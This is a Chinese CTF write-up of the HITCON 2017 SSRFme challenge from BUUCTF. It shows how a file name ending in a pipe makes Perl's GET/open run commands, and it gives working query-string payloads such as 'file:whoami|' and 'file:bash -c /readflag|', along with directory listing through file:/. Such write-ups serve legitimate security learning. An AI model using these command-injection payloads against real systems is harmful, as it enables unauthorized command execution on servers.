Loading

[BUUCTF题解][HITCON 2017]SSRFme

### 知识点

PERL函数漏洞

过程

做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),但是也就index.php这一个页面。

image-20220327135330612

提供了url参数作为GET命令执行的参数,filename参数对应的路径会被创建并存储命令执行得到的结果。

先介绍下,GET命令的正常用法。GET可以用来列举参数路径的目录(路径支持file协议),如下:

?filename=ez&url=/

image-20220327140046230

?filename=az&url=file:/

image-20220327140252079

漏洞在于GET命令执行过程中调用了open函数,而open函数存在任意命令执行的漏洞,只需要构造如下格式payload,并保证当前目录下存在以Payload|为路径存在对应的文件就能实现任意命令执行。

GET file:Payload|

如执行whoami命令(需要注意携带payload访问两次页面,其中第一次用来创建对应路径的文件)。

?filename=whoami|&url=file:whoami|

image-20220327140757330

至于flag的位置就在根目录下,需要执行根目录下的/readflag文件才能读取,采用bash去执行就ok了。

?filename=bash%20-c%20/readflag|&url=file:bash%20-c%20/readflag|

image-20220327141515889

posted @ 2022-03-27 14:17  Article_kelp  阅读(328)  评论(0)    收藏  举报